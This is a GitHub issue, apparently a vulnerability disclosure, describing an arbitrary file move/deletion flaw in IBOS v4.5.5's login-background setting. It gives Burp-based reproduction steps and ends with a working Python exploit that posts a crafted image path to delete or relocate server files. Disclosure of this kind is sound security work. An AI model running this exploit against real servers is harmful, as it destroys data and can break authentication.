Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

IBOSv4.5.5 has an arbitrary file deletion vulnerability \system\modules\dashboard\controllers\LoginController.php #1

Open
A7cc opened this issue Feb 26, 2024 · 0 comments

Comments

@A7cc
Copy link
Owner

A7cc commented Feb 26, 2024

Build the source code locally by downloading:https://gitee.com/ibos/IBOS
The vulnerability exists:http://127.0.0.1/?r=dashboard/default/index
First, log in to the backend management and enter General Settings ->Login Page Background. The routing is at /?r=dashboard/default/index:
aa
Using burp:
aaa
Change the path to the api/authlogin.php file in the current website directory:
aaaa
Sending data packet, found that the file has been moved to the data\login directory:
qq
At this point, the file authlogin.php was only moved to a new directory, and then we overwritten the previously copied file authlogin.php with api\wxqy\callback.php in the root directory of the file website:
qwq
Sending data packet, found that the previous authlogin.php has been deleted:
asa
Next, try deleting files outside the website directory. First, create an a.txt file in the installation directory of the website, and then construct the data package:
asas
After sending the data packet, a.txt has been copied to the data\login directory and can be accessed:
图片
EXP:

import requests

ip = "127.0.0.1"
path = "api/wxqy/index2.php"
headers = {"Cookie":"8Q9V_saltkey=E2pIP4YJ; PHPSESSID=fefbcg8l1ptrocsorqk78nbba1; 8Q9V_sid=2jsy5x; 8Q9V_lastactivity=1694436951; 8Q9V_ulastactivity=2841MZj%2FBBFnVMEdm1nGhhav%2BAaSSOmjmgoTsLJvhTS%2BnoO1%2BQVU",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Content-Type":"application/x-www-form-urlencoded",
"Content-Length":"174",
"Connection":"close"}
data = "bgs%5B1%5D%5Bimage%5D={}&file=&bgs%5B1%5D%5Bdisabled%5D=0&bgs%5B2%5D%5Bimage%5D=data%2Flogin%2Fibos_login2.jpg&file=&bgs%5B2%5D%5Bdisabled%5D=0&removeId=&loginSubmit="
code1 = requests.post(url="http://{}/?r=dashboard/login/index".format(ip),data=data.format(path),headers=headers).status_code
code2 = requests.get(url="http://{}/data/login/{}".format(ip,path.split("/", -1)[-1]))
if code1 == 302 and code2 == 200:
    print("[+] del {}".format(path))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant